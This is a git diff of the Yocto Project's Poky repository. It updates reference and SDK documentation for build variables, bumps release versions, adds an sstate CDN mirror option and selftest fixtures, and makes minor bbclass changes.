:term:`METADATA_BRANCH`
The branch currently checked out for the OpenEmbedded-Core layer (path
determined by :term:`COREBASE`).
@@ -5303,9 +5347,8 @@ system and gives an overview of their function and contents.
:term:`PREMIRRORS`, the upstream source, and then
locations specified by :term:`MIRRORS` in that order.
- Assuming your distribution (:term:`DISTRO`) is "poky",
- the default value for :term:`MIRRORS` is defined in the
- ``conf/distro/poky.conf`` file in the ``meta-poky`` Git repository.
+ The default value for :term:`MIRRORS` is defined in the
+ ``meta/classes-global/mirrors.bbclass`` file in the core metadata layer.
:term:`MLPREFIX`
Specifies a prefix has been added to :term:`PN` to create a
@@ -5591,6 +5634,11 @@ system and gives an overview of their function and contents.
For additional information on how this variable is used, see the
initialization script.
+ :term:`OEQA_REPRODUCIBLE_TEST_PACKAGE`
+ Set the package manager(s) for build reproducibility testing.
+ See :yocto_git:`reproducible.py </poky/tree/meta/lib/oeqa/selftest/cases/reproducible.py>`
+ and :doc:`/test-manual/reproducible-builds`.
+
:term:`OEQA_REPRODUCIBLE_TEST_TARGET`
Set build target for build reproducibility testing. By default
all available recipes are compiled with "bitbake world", see also :term:`EXCLUDE_FROM_WORLD`
@@ -6059,13 +6107,11 @@ system and gives an overview of their function and contents.
omit any argument you like but must retain the separating commas. The
order is important and specifies the following:
- #. Extra arguments that should be added to the configure script
- argument list (:term:`EXTRA_OECONF` or
- :term:`PACKAGECONFIG_CONFARGS`) if
- the feature is enabled.
+ #. Extra arguments that should be added to :term:`PACKAGECONFIG_CONFARGS`
+ if the feature is enabled.
- #. Extra arguments that should be added to :term:`EXTRA_OECONF` or
- :term:`PACKAGECONFIG_CONFARGS` if the feature is disabled.
+ #. Extra arguments that should be added to :term:`PACKAGECONFIG_CONFARGS`
+ if the feature is disabled.
#. Additional build dependencies (:term:`DEPENDS`)
that should be added if the feature is enabled.
@@ -6123,6 +6169,38 @@ system and gives an overview of their function and contents.
PACKAGECONFIG:append:pn-recipename = " f4"
+ Consider the following example of a :ref:`ref-classes-cmake` recipe with a systemd service
+ in which :term:`PACKAGECONFIG` is used to transform the systemd service
+ into a feature that can be easily enabled or disabled via :term:`PACKAGECONFIG`::
+
+ example.c
+ example.service
+ CMakeLists.txt
+
+ The ``CMakeLists.txt`` file contains::
+
+ if(WITH_SYSTEMD)
+ install(FILES ${PROJECT_SOURCE_DIR}/example.service DESTINATION /etc/systemd/systemd)
+ endif(WITH_SYSTEMD)
+
+ In order to enable the installation of ``example.service`` we need to
+ ensure that ``-DWITH_SYSTEMD=ON`` is passed to the ``cmake`` command
+ execution. Recipes that have ``CMakeLists.txt`` generally inherit the
+ :ref:`ref-classes-cmake` class, that runs ``cmake`` with
+ :term:`EXTRA_OECMAKE`, which :term:`PACKAGECONFIG_CONFARGS` will be
+ appended to. Now, knowing that :term:`PACKAGECONFIG_CONFARGS` is
+ automatically filled with either the first or second element of
+ :term:`PACKAGECONFIG` flag value, the recipe would be like::
+
+ inherit cmake
+ PACKAGECONFIG = "systemd"
+ PACKAGECONFIG[systemd] = "-DWITH_SYSTEMD=ON,-DWITH_SYSTEMD=OFF"
+
+ A side note to this recipe is to check if ``systemd`` is in fact the used :term:`INIT_MANAGER`
+ or not::
+
+ PACKAGECONFIG = "${@'systemd' if d.getVar('INIT_MANAGER') == 'systemd' else ''}"
+
:term:`PACKAGECONFIG_CONFARGS`
A space-separated list of configuration options generated from the
:term:`PACKAGECONFIG` setting.
@@ -6409,9 +6487,9 @@ system and gives an overview of their function and contents.
:term:`POPULATE_SDK_POST_HOST_COMMAND`
Specifies a list of functions to call once the OpenEmbedded build
system has created the host part of the SDK. You can specify
- functions separated by semicolons::
+ functions separated by spaces::
- POPULATE_SDK_POST_HOST_COMMAND += "function; ... "
+ POPULATE_SDK_POST_HOST_COMMAND += "function"
If you need to pass the SDK path to a command within a function, you
can use ``${SDK_DIR}``, which points to the parent directory used by
@@ -6421,9 +6499,9 @@ system and gives an overview of their function and contents.
:term:`POPULATE_SDK_POST_TARGET_COMMAND`
Specifies a list of functions to call once the OpenEmbedded build
system has created the target part of the SDK. You can specify
- functions separated by semicolons::
+ functions separated by spaces::
- POPULATE_SDK_POST_TARGET_COMMAND += "function; ... "
+ POPULATE_SDK_POST_TARGET_COMMAND += "function"
If you need to pass the SDK path to a command within a function, you
can use ``${SDK_DIR}``, which points to the parent directory used by
@@ -6568,9 +6646,8 @@ system and gives an overview of their function and contents.
source, and then locations specified by
:term:`MIRRORS` in that order.
- Assuming your distribution (:term:`DISTRO`) is "poky",
- the default value for :term:`PREMIRRORS` is defined in the
- ``conf/distro/poky.conf`` file in the ``meta-poky`` Git repository.
+ The default value for :term:`PREMIRRORS` is defined in the
+ ``meta/classes-global/mirrors.bbclass`` file in the core metadata layer.
Typically, you could add a specific server for the build system to
attempt before any others by adding something like the following to
@@ -6910,6 +6987,22 @@ system and gives an overview of their function and contents.
":ref:`bitbake-user-manual/bitbake-user-manual-execution:dependencies`" sections in the
BitBake User Manual for additional information on tasks and dependencies.
+ :term:`RECIPE_MAINTAINER`
+ This variable defines the name and e-mail address of the maintainer of a
+ recipe. Such information can be used by human users submitted changes,
+ and by automated tools to send notifications, for example about
+ vulnerabilities or source updates.
+
+ The variable can be defined in a global distribution :oe_git:`maintainers.inc
+ </openembedded-core/tree/meta/conf/distro/include/maintainers.inc>` file::
+
+ meta/conf/distro/include/maintainers.inc:RECIPE_MAINTAINER:pn-sysvinit = "Ross Burton <ross.burton@arm.com>"
+
+ It can also be directly defined in a recipe,
+ for example in the ``libgpiod`` one::
+
+ RECIPE_MAINTAINER = "Bartosz Golaszewski <brgl@bgdev.pl>"
+
:term:`RECIPE_NO_UPDATE_REASON`
If a recipe should not be replaced by a more recent upstream version,
putting the reason why in this variable in a recipe allows
@@ -6917,6 +7010,36 @@ system and gives an overview of their function and contents.
in the ":ref:`ref-manual/devtool-reference:checking on the upgrade status of a recipe`"
section.
+ :term:`RECIPE_SYSROOT`
+ This variable points to the directory that holds all files populated from
+ recipes specified in :term:`DEPENDS`. As the name indicates,
+ think of this variable as a custom root (``/``) for the recipe that will be
+ used by the compiler in order to find headers and other files needed to complete
+ its job.
+
+ This variable is related to :term:`STAGING_DIR_HOST` or :term:`STAGING_DIR_TARGET`
+ according to the type of the recipe and the build target.
+
+ To better understand this variable, consider the following examples:
+
+ - For ``#include <header.h>``, ``header.h`` should be in ``"${RECIPE_SYSROOT}/usr/include"``
+
+ - For ``-lexample``, ``libexample.so`` should be in ``"${RECIPE_SYSROOT}/lib"``
+ or other library sysroot directories.
+
+ The default value is ``"${WORKDIR}/recipe-sysroot"``.
+ Do not modify it.
+
+ :term:`RECIPE_SYSROOT_NATIVE`
+ This is similar to :term:`RECIPE_SYSROOT` but the populated files are from
+ ``-native`` recipes. This allows a recipe built for the target machine to
+ use ``native`` tools.
+
+ This variable is related to :term:`STAGING_DIR_NATIVE`.
+
+ The default value is ``"${WORKDIR}/recipe-sysroot-native"``.
+ Do not modify it.
+
:term:`REPODIR`
See :term:`bitbake:REPODIR` in the BitBake manual.
@@ -6979,9 +7102,9 @@ system and gives an overview of their function and contents.
:term:`ROOTFS_POSTINSTALL_COMMAND`
Specifies a list of functions to call after the OpenEmbedded build
system has installed packages. You can specify functions separated by
- semicolons::
+ spaces::
- ROOTFS_POSTINSTALL_COMMAND += "function; ... "
+ ROOTFS_POSTINSTALL_COMMAND += "function"
If you need to pass the root filesystem path to a command within a
function, you can use ``${IMAGE_ROOTFS}``, which points to the
@@ -6992,9 +7115,9 @@ system and gives an overview of their function and contents.
:term:`ROOTFS_POSTPROCESS_COMMAND`
Specifies a list of functions to call once the OpenEmbedded build
system has created the root filesystem. You can specify functions
- separated by semicolons::
+ separated by spaces::
- ROOTFS_POSTPROCESS_COMMAND += "function; ... "
+ ROOTFS_POSTPROCESS_COMMAND += "function"
If you need to pass the root filesystem path to a command within a
function, you can use ``${IMAGE_ROOTFS}``, which points to the
@@ -7007,9 +7130,9 @@ system and gives an overview of their function and contents.
system has removed unnecessary packages. When runtime package
management is disabled in the image, several packages are removed
including ``base-passwd``, ``shadow``, and ``update-alternatives``.
- You can specify functions separated by semicolons::
+ You can specify functions separated by spaces::
- ROOTFS_POSTUNINSTALL_COMMAND += "function; ... "
+ ROOTFS_POSTUNINSTALL_COMMAND += "function"
If you need to pass the root filesystem path to a command within a
function, you can use ``${IMAGE_ROOTFS}``, which points to the
@@ -7020,9 +7143,9 @@ system and gives an overview of their function and contents.
:term:`ROOTFS_PREPROCESS_COMMAND`
Specifies a list of functions to call before the OpenEmbedded build
system has created the root filesystem. You can specify functions
- separated by semicolons::
+ separated by spaces::
- ROOTFS_PREPROCESS_COMMAND += "function; ... "
+ ROOTFS_PREPROCESS_COMMAND += "function"
If you need to pass the root filesystem path to a command within a
function, you can use ``${IMAGE_ROOTFS}``, which points to the
@@ -7297,13 +7420,16 @@ system and gives an overview of their function and contents.
:term:`SDK_EXT_TYPE` is set to "full".
:term:`SDK_NAME`
- The base name for SDK output files. The name is derived from the
- :term:`DISTRO`, :term:`TCLIBC`,
- :term:`SDK_ARCH`,
- :term:`IMAGE_BASENAME`, and
- :term:`TUNE_PKGARCH` variables::
+ The base name for SDK output files. The default value (as set in
+ ``meta-poky/conf/distro/poky.conf``) is derived from the
+ :term:`DISTRO`,
+ :term:`TCLIBC`,
+ :term:`SDKMACHINE`,
+ :term:`IMAGE_BASENAME`,
+ :term:`TUNE_PKGARCH`, and
+ :term:`MACHINE` variables::
- SDK_NAME = "${DISTRO}-${TCLIBC}-${SDK_ARCH}-${IMAGE_BASENAME}-${TUNE_PKGARCH}"
+ SDK_NAME = "${DISTRO}-${TCLIBC}-${SDKMACHINE}-${IMAGE_BASENAME}-${TUNE_PKGARCH}-${MACHINE}"
:term:`SDK_OS`
Specifies the operating system for which the SDK will be built. The
@@ -7334,7 +7460,9 @@ system and gives an overview of their function and contents.
:term:`SDK_POSTPROCESS_COMMAND`
Specifies a list of functions to call once the OpenEmbedded build
system creates the SDK. You can specify functions separated by
- semicolons: SDK_POSTPROCESS_COMMAND += "function; ... "
+ spaces:
+
+ SDK_POSTPROCESS_COMMAND += "function"
If you need to pass an SDK path to a command within a function, you
can use ``${SDK_DIR}``, which points to the parent directory used by
@@ -7516,23 +7644,6 @@ system and gives an overview of their function and contents.
SERIAL_CONSOLES = "115200;ttyS0 115200;ttyS1"
- :term:`SERIAL_CONSOLES_CHECK`
- Specifies serial consoles, which must be listed in
- :term:`SERIAL_CONSOLES`, to check against
- ``/proc/console`` before enabling them using getty. This variable
- allows aliasing in the format: <device>:<alias>. If a device was
- listed as "sclp_line0" in ``/dev/`` and "ttyS0" was listed in
- ``/proc/console``, you would do the following::
-
- SERIAL_CONSOLES_CHECK = "slcp_line0:ttyS0"
-
- This variable is currently only supported with SysVinit (i.e. not
- with systemd). Note that :term:`SERIAL_CONSOLES_CHECK` also requires
- ``/etc/inittab`` to be writable when used with SysVinit. This makes it
- incompatible with customizations such as the following::
-
- EXTRA_IMAGE_FEATURES += "read-only-rootfs"
-
:term:`SETUPTOOLS_BUILD_ARGS`
When used by recipes that inherit the :ref:`ref-classes-setuptools3`
class, this variable can be used to specify additional arguments to be
@@ -8105,6 +8216,16 @@ system and gives an overview of their function and contents.
file://.* https://someserver.tld/share/sstate/PATH;downloadfilename=PATH \
file://.* file:///some-local-dir/sstate/PATH"
+ The Yocto Project actually shares the cache data objects built by its
+ autobuilder::
+
+ SSTATE_MIRRORS ?= "file://.* http://cdn.jsdelivr.net/yocto/sstate/all/PATH;downloadfilename=PATH"
+
+ As such binary artifacts are built for the generic QEMU machines
+ supported by the various Poky releases, they are less likely to be
+ reusable in real projects building binaries optimized for a specific
+ CPU family.
+
:term:`SSTATE_SCAN_FILES`
Controls the list of files the OpenEmbedded build system scans for
hardcoded installation paths. The variable uses a space-separated
@@ -8221,10 +8342,15 @@ system and gives an overview of their function and contents.
for ``-native`` recipes, as they make use of host headers and
libraries.
+ Check :term:`RECIPE_SYSROOT` and :term:`RECIPE_SYSROOT_NATIVE`.
+
:term:`STAGING_DIR_NATIVE`
Specifies the path to the sysroot directory used when building
components that run on the build host itself.
+ The default value is ``"${RECIPE_SYSROOT_NATIVE}"``,
+ check :term:`RECIPE_SYSROOT_NATIVE`.
+
:term:`STAGING_DIR_TARGET`
Specifies the path to the sysroot used for the system for which the
component generates code. For components that do not generate code,
@@ -8409,6 +8535,35 @@ system and gives an overview of their function and contents.
${libdir}/${BPN}/ptest \
"
+ Consider the following example in which you need to manipulate this variable.
+ Assume you have a recipe ``A`` that provides a shared library ``.so.*`` that is
+ installed into a custom folder other than "``${libdir}``"
+ or "``${base_libdir}``", let's say "``/opt/lib``".
+
+ .. note::
+
+ This is not a recommended way to deal with shared libraries, but this
+ is just to show the usefulness of setting :term:`SYSROOT_DIRS`.
+
+ When a recipe ``B`` :term:`DEPENDS` on ``A``, it means what is in
+ :term:`SYSROOT_DIRS` will be copied from :term:`D` of the recipe ``B``
+ into ``B``'s :term:`SYSROOT_DESTDIR` that is "``${WORKDIR}/sysroot-destdir``".
+
+ Now, since ``/opt/lib`` is not in :term:`SYSROOT_DIRS`, it will never be copied to
+ ``A``'s :term:`RECIPE_SYSROOT`, which is "``${WORKDIR}/recipe-sysroot``". So,
+ the linking process will fail.
+
+ To fix this, you need to add ``/opt/lib`` to :term:`SYSROOT_DIRS`::
+
+ SYSROOT_DIRS:append = " /opt/lib"
+
+ .. note::
+ Even after setting ``/opt/lib`` to :term:`SYSROOT_DIRS`, the linking process will still fail
+ because the linker does not know that location, since :term:`TARGET_LDFLAGS`
+ doesn't contain it (if your recipe is for the target). Therefore, so you should add::
+
+ TARGET_LDFLAGS:append = " -L${RECIPE_SYSROOT}/opt/lib"
+
:term:`SYSROOT_DIRS_NATIVE`
Extra directories staged into the sysroot by the
:ref:`ref-tasks-populate_sysroot` task for
@@ -9046,6 +9201,16 @@ system and gives an overview of their function and contents.
portion of an eSDK. This is similar to :term:`TOOLCHAIN_HOST_TASK`
applying to SDKs.
+ :term:`TOOLCHAIN_OPTIONS`
+ This variable holds extra options passed to the compiler and the linker
+ for non ``-native`` recipes as they have to point to their custom
+ ``sysroot`` folder pointed to by :term:`RECIPE_SYSROOT`::
+
+ TOOLCHAIN_OPTIONS = " --sysroot=${RECIPE_SYSROOT}"
+
+ Native recipes don't need this variable to be set, as they are
+ built for the host machine with the native compiler.
+
:term:`TOOLCHAIN_OUTPUTNAME`
This variable defines the name used for the toolchain output. The
:ref:`populate_sdk_base <ref-classes-populate-sdk-*>` class sets
diff --git a/poky/documentation/sdk-manual/appendix-obtain.rst b/poky/documentation/sdk-manual/appendix-obtain.rst
index f40ea6d4ab..ad531cbf24 100644
--- a/poky/documentation/sdk-manual/appendix-obtain.rst
+++ b/poky/documentation/sdk-manual/appendix-obtain.rst
@@ -39,27 +39,20 @@ Follow these steps to locate and hand-install the toolchain:
download the installer appropriate for your build host, target
hardware, and image type.
- The installer files (``*.sh``) follow this naming convention::
+ The installer files (``*.sh``) follow this naming convention:
+ ``poky-glibc-host_system-core-image-type-arch-toolchain[-ext]-release.sh``:
- poky-glibc-host_system-core-image-type-arch-toolchain[-ext]-release.sh
+ - ``host_system``: string representing your development system: ``i686`` or ``x86_64``
- Where:
- host_system is a string representing your development system:
- "i686" or "x86_64"
+ - ``type``: string representing the image: ``sato`` or ``minimal``
- type is a string representing the image:
- "sato" or "minimal"
+ - ``arch``: string representing the target architecture such as ``cortexa57-qemuarm64``
- arch is a string representing the target architecture:
- "aarch64", "armv5e", "core2-64", "cortexa8hf-neon", "i586", "mips32r2",
- "mips64", or "ppc7400"
-
- release is the version of Yocto Project.
-
- NOTE:
- The standard SDK installer does not have the "-ext" string as
- part of the filename.
+ - ``release``: version of the Yocto Project.
+ .. note::
+ The standard SDK installer does not have the ``-ext`` string as
+ part of the filename.
The toolchains provided by the Yocto
Project are based off of the ``core-image-sato`` and
@@ -67,16 +60,16 @@ Follow these steps to locate and hand-install the toolchain:
developing against those images.
For example, if your build host is a 64-bit x86 system and you need
- an extended SDK for a 64-bit core2 target, go into the ``x86_64``
+ an extended SDK for a 64-bit core2 QEMU target, go into the ``x86_64``
folder and download the following installer::
- poky-glibc-x86_64-core-image-sato-core2-64-toolchain-ext-&DISTRO;.sh
+ poky-glibc-x86_64-core-image-sato-core2-64-qemux86-64-toolchain-&DISTRO;.sh
#. *Run the Installer:* Be sure you have execution privileges and run
the installer. Following is an example from the ``Downloads``
directory::
- $ ~/Downloads/poky-glibc-x86_64-core-image-sato-core2-64-toolchain-ext-&DISTRO;.sh
+ $ ~/Downloads/poky-glibc-x86_64-core-image-sato-core2-64-qemux86-64-toolchain-&DISTRO;.sh
During execution of the script, you choose the root location for the
toolchain. See the
@@ -216,21 +209,14 @@ Follow these steps to extract the root filesystem:
also contain flattened root filesystem image files (``*.ext4``),
which you can use with QEMU directly.
- The pre-built root filesystem image files follow these naming
- conventions::
-
- core-image-profile-arch.tar.bz2
+ The pre-built root filesystem image files follow the
+ ``core-image-profile-machine.tar.bz2`` naming convention:
- Where:
- profile is the filesystem image's profile:
- lsb, lsb-dev, lsb-sdk, minimal, minimal-dev, minimal-initramfs,
- sato, sato-dev, sato-sdk, sato-sdk-ptest. For information on
- these types of image profiles, see the "Images" chapter in
- the Yocto Project Reference Manual.
+ - ``profile``: filesystem image's profile, such as ``minimal``,
+ ``minimal-dev`` or ``sato``. For information on these types of image
+ profiles, see the "Images" chapter in the Yocto Project Reference Manual.
- arch is a string representing the target architecture:
- beaglebone-yocto, beaglebone-yocto-lsb, edgerouter, edgerouter-lsb,
- genericx86, genericx86-64, genericx86-64-lsb, genericx86-lsb and qemu*.
+ - ``machine``: same string as the name of the parent download directory.
The root filesystems
provided by the Yocto Project are based off of the
diff --git a/poky/documentation/set_versions.py b/poky/documentation/set_versions.py
index 354dabe618..a7c4d5af0b 100755
--- a/poky/documentation/set_versions.py
+++ b/poky/documentation/set_versions.py
@@ -26,8 +26,8 @@ ourversion = None
if len(sys.argv) == 2:
ourversion = sys.argv[1]
-activereleases = ["mickledore", "kirkstone", "dunfell"]
-devbranch = "nanbield"
+activereleases = ["nanbield", "mickledore", "kirkstone", "dunfell"]
+devbranch = "scarthgap"
ltsseries = ["kirkstone", "dunfell"]
# used by run-docs-builds to get the default page
@@ -36,6 +36,7 @@ if ourversion == "getlatest":
sys.exit(0)
release_series = collections.OrderedDict()
+release_series["scarthgap"] = "5.0"
release_series["nanbield"] = "4.3"
release_series["mickledore"] = "4.2"
release_series["langdale"] = "4.1"
@@ -67,6 +68,7 @@ release_series["laverne"] = "0.9"
bitbake_mapping = {
+ "scarthgap" : "2.8",
"nanbield" : "2.6",
"mickledore" : "2.4",
"langdale" : "2.2",
diff --git a/poky/documentation/test-manual/reproducible-builds.rst b/poky/documentation/test-manual/reproducible-builds.rst
index d4b828b2d6..91f94a5c74 100644
--- a/poky/documentation/test-manual/reproducible-builds.rst
+++ b/poky/documentation/test-manual/reproducible-builds.rst
@@ -68,17 +68,6 @@ things we do within the build system to ensure reproducibility include:
- Filtering the tools available from the host's ``PATH`` to only a specific set
of tools, set using the :term:`HOSTTOOLS` variable.
-.. note::
-
- Because of an open bug in GCC, using ``DISTRO_FEATURES:append = " lto"`` or
- adding ``-flto`` (Link Time Optimization) to :term:`CFLAGS` makes the resulting
- binary non-reproducible, in that it depends on the full absolute build path
- to ``recipe-sysroot-native``, so installing the Yocto Project in a different
- directory results in a different binary.
-
- This issue is addressed by
- :yocto_bugs:`bug 14481 - Programs built with -flto are not reproducible</show_bug.cgi?id=14481>`.
-
=========================================
Can we prove the project is reproducible?
=========================================
diff --git a/poky/documentation/what-i-wish-id-known.rst b/poky/documentation/what-i-wish-id-known.rst
index 10f746ff1f..fe79bc0129 100644
--- a/poky/documentation/what-i-wish-id-known.rst
+++ b/poky/documentation/what-i-wish-id-known.rst
@@ -29,8 +29,9 @@ contact us with other suggestions.
#. **Get to know the layer index:**
All layers can be found in the :oe_layerindex:`layer index <>`. Layers which
have applied for Yocto Project Compatible status (structure continuity
- assurance and testing) can be found in the :yocto_home:`Yocto Project Compatible index
- </software-over/layer/>`. Generally check the Compatible layer index first,
+ assurance and testing) can be found in the :yocto_home:`Yocto Project
+ Compatible Layers </development/yocto-project-compatible-layers/>` page.
+ Generally check the Compatible layer index first,
and if you don't find the necessary layer check the general layer index. The
layer index is an original artifact from the Open Embedded Project. As such,
that index doesn't have the curating and testing that the Yocto Project
diff --git a/poky/meta-poky/conf/distro/poky-tiny.conf b/poky/meta-poky/conf/distro/poky-tiny.conf
index 32c2ec3e1f..24bcbee9bb 100644
--- a/poky/meta-poky/conf/distro/poky-tiny.conf
+++ b/poky/meta-poky/conf/distro/poky-tiny.conf
@@ -125,4 +125,4 @@ PACKAGECONFIG:remove:pn-opkg-utils = "python"
# If shadow-base is brought into the image, logins will fail because it
# doesn't have the heuristics to work when CONFIG_MULTIUSER is unset.
-PACKAGE_EXCLUDE:poky-tiny = "shadow-base"
+PACKAGE_EXCLUDE += "shadow-base"
diff --git a/poky/meta-poky/conf/distro/poky.conf b/poky/meta-poky/conf/distro/poky.conf
index f290a15e35..e742666b4e 100644
--- a/poky/meta-poky/conf/distro/poky.conf
+++ b/poky/meta-poky/conf/distro/poky.conf
@@ -1,6 +1,6 @@
DISTRO = "poky"
DISTRO_NAME = "Poky (Yocto Project Reference Distro)"
-DISTRO_VERSION = "4.2+snapshot-${METADATA_REVISION}"
+DISTRO_VERSION = "4.3+snapshot-${METADATA_REVISION}"
DISTRO_CODENAME = "nanbield"
SDK_VENDOR = "-pokysdk"
SDK_VERSION = "${@d.getVar('DISTRO_VERSION').replace('snapshot-${METADATA_REVISION}', 'snapshot')}"
@@ -33,8 +33,8 @@ TCLIBCAPPEND = ""
PACKAGE_CLASSES ?= "package_rpm"
SANITY_TESTED_DISTROS ?= " \
- poky-4.1 \n \
poky-4.2 \n \
+ poky-4.3 \n \
ubuntu-18.04 \n \
ubuntu-20.04 \n \
ubuntu-22.04 \n \
diff --git a/poky/meta-poky/conf/templates/default/local.conf.sample b/poky/meta-poky/conf/templates/default/local.conf.sample
index f9cb8aa77d..5fb6944f3f 100644
--- a/poky/meta-poky/conf/templates/default/local.conf.sample
+++ b/poky/meta-poky/conf/templates/default/local.conf.sample
@@ -33,7 +33,6 @@
#MACHINE ?= "beaglebone-yocto"
#MACHINE ?= "genericx86"
#MACHINE ?= "genericx86-64"
-#MACHINE ?= "edgerouter"
#
# This sets the default machine to be qemux86-64 if no other machine is selected:
MACHINE ??= "qemux86-64"
@@ -228,15 +227,21 @@ BB_DISKMON_DIRS ??= "\
# Yocto Project SState Mirror
#
# The Yocto Project has prebuilt artefacts available for its releases, you can enable
-# use of these by uncommenting the following lines. This will mean the build uses
+# use of these by uncommenting some of the following lines. This will mean the build uses
# the network to check for artefacts at the start of builds, which does slow it down
-# equally, it will also speed up the builds by not having to build things if they are
+# initially but it will then speed up the builds by not having to build things if they are
# present in the cache. It assumes you can download something faster than you can build it
# which will depend on your network.
# Note: For this to work you also need hash-equivalence passthrough to the matching server
+# There is a choice between our sstate server directly and a faster content delivery network
+# (CDN) kindly provided by JSDelivr, uncomment one of the SSTATE_MIRRORS lines, not both.
+# Using the CDN rather than the yoctoproject.org address is suggested/preferred.
#
#BB_HASHSERVE_UPSTREAM = "hashserv.yocto.io:8687"
-#SSTATE_MIRRORS ?= "file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"
+#SSTATE_MIRRORS ?= "file://.* http://cdn.jsdelivr.net/yocto/sstate/all/PATH;downloadfilename=PATH"
+#
+###SSTATE_MIRRORS ?= "file://.* http://sstate.yoctoproject.org/all/PATH;downloadfilename=PATH"
+
#
# Qemu configuration
diff --git a/poky/meta-selftest/classes/base-do-configure-modified.bbclass b/poky/meta-selftest/classes/base-do-configure-modified.bbclass
new file mode 100644
index 0000000000..9175bb8ad9
--- /dev/null
+++ b/poky/meta-selftest/classes/base-do-configure-modified.bbclass
@@ -0,0 +1,3 @@
+base_do_configure:append () {
+ echo "this changes base_do_configure() definiton "
+}
diff --git a/poky/meta-selftest/files/static-group b/poky/meta-selftest/files/static-group
index af2fa0f016..f7a66de24d 100644
--- a/poky/meta-selftest/files/static-group
+++ b/poky/meta-selftest/files/static-group
@@ -26,3 +26,4 @@ wayland:x:526:
render:x:527:
sgx:x:528:
ptest:x:529:
+xuser:x:530:
diff --git a/poky/meta-selftest/files/static-passwd b/poky/meta-selftest/files/static-passwd
index a4f652198c..cc6c5acd5c 100644
--- a/poky/meta-selftest/files/static-passwd
+++ b/poky/meta-selftest/files/static-passwd
@@ -18,3 +18,4 @@ builder:x:522:522::/:/bin/nologin
_apt:x:523:523::/:/bin/nologin
weston:x:525:525::/:/bin/nologin
ptest:x:529:529::/:/bin/nologin
+xuser:x:530:530::/:/bin/nologin
diff --git a/poky/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend b/poky/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/poky/meta-selftest/recipes-test/gcc-source/gcc-source_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/poky/meta-selftest/recipes-test/quilt-native/quilt-native_%.bbappend b/poky/meta-selftest/recipes-test/quilt-native/quilt-native_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/poky/meta-selftest/recipes-test/quilt-native/quilt-native_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/poky/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf b/poky/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf
index 8b67cefef7..9f389711b3 100644
--- a/poky/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf
+++ b/poky/meta-yocto-bsp/conf/machine/beaglebone-yocto.conf
@@ -18,7 +18,6 @@ MACHINE_ESSENTIAL_EXTRA_RDEPENDS += "kernel-image kernel-devicetree"
do_image_wic[depends] += "mtools-native:do_populate_sysroot dosfstools-native:do_populate_sysroot virtual/bootloader:do_deploy"
SERIAL_CONSOLES ?= "115200;ttyS0 115200;ttyO0 115200;ttyAMA0"
-SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
PREFERRED_PROVIDER_virtual/kernel ?= "linux-yocto"
PREFERRED_VERSION_linux-yocto ?= "6.1%"
diff --git a/poky/meta-yocto-bsp/conf/machine/genericx86-64.conf b/poky/meta-yocto-bsp/conf/machine/genericx86-64.conf
index 14913ea1f1..f19a1c1527 100644
--- a/poky/meta-yocto-bsp/conf/machine/genericx86-64.conf
+++ b/poky/meta-yocto-bsp/conf/machine/genericx86-64.conf
@@ -6,6 +6,5 @@ DEFAULTTUNE ?= "core2-64"
require conf/machine/include/x86/tune-core2.inc
require conf/machine/include/genericx86-common.inc
-SERIAL_CONSOLES_CHECK = "ttyS0"
#For runqemu
QB_SYSTEM_NAME = "qemu-system-x86_64"
diff --git a/poky/meta/classes-global/base.bbclass b/poky/meta/classes-global/base.bbclass
index f57f9cf827..ac84312a87 100644
--- a/poky/meta/classes-global/base.bbclass
+++ b/poky/meta/classes-global/base.bbclass
@@ -634,7 +634,7 @@ python () {
# Mercurial packages should DEPEND on mercurial-native
elif uri.scheme == "hg":
d.appendVar("EXTRANATIVEPATH", ' python3-native ')
- d.appendVarFlag('do_fetch', 'depends', ' mercurial-native:do_populate_sysroot')
+ d.appendVarFlag('do_fetch', 'depends', ' mercurial-native:do_populate_sysroot ca-certificates-native:do_populate_sysroot')
# OSC packages should DEPEND on osc-native
elif uri.scheme == "osc":
diff --git a/poky/meta/classes-global/debian.bbclass b/poky/meta/classes-global/debian.bbclass
index 7135d74837..e2a129d028 100644
--- a/poky/meta/classes-global/debian.bbclass
+++ b/poky/meta/classes-global/debian.bbclass
@@ -19,21 +19,6 @@ AUTO_LIBNAME_PKGS = "${PACKAGES}"
inherit package
-DEBIANRDEP = "do_packagedata"
-do_package_write_ipk[deptask] = "${DEBIANRDEP}"
-do_package_write_deb[deptask] = "${DEBIANRDEP}"
-do_package_write_tar[deptask] = "${DEBIANRDEP}"
-do_package_write_rpm[deptask] = "${DEBIANRDEP}"
-do_package_write_ipk[rdeptask] = "${DEBIANRDEP}"
-do_package_write_deb[rdeptask] = "${DEBIANRDEP}"
-do_package_write_tar[rdeptask] = "${DEBIANRDEP}"
-do_package_write_rpm[rdeptask] = "${DEBIANRDEP}"
-
-python () {
- if not d.getVar("PACKAGES"):
- d.setVar("DEBIANRDEP", "")
-}
-
python debian_package_name_hook () {
import glob, copy, stat, errno, re, pathlib, subprocess
diff --git a/poky/meta/classes-global/insane.bbclass b/poky/meta/classes-global/insane.bbclass
index 5743d91240..b78bb6f445 100644
--- a/poky/meta/classes-global/insane.bbclass
+++ b/poky/meta/classes-global/insane.bbclass
@@ -923,8 +923,12 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
if "file-rdeps" not in skip:
ignored_file_rdeps = set(['/bin/sh', '/usr/bin/env', 'rtld(GNU_HASH)'])
+ if bb.utils.contains('DISTRO_FEATURES', 'usrmerge', True, False, d):
+ ignored_file_rdeps |= set(['/usr/bin/sh'])
if bb.data.inherits_class('nativesdk', d):
ignored_file_rdeps |= set(['/bin/bash', '/usr/bin/perl', 'perl'])
+ if bb.utils.contains('DISTRO_FEATURES', 'usrmerge', True, False, d):
+ ignored_file_rdeps |= set(['/usr/bin/bash'])
# For Saving the FILERDEPENDS
filerdepends = {}
rdep_data = oe.packagedata.read_subpkgdata(pkg, d)
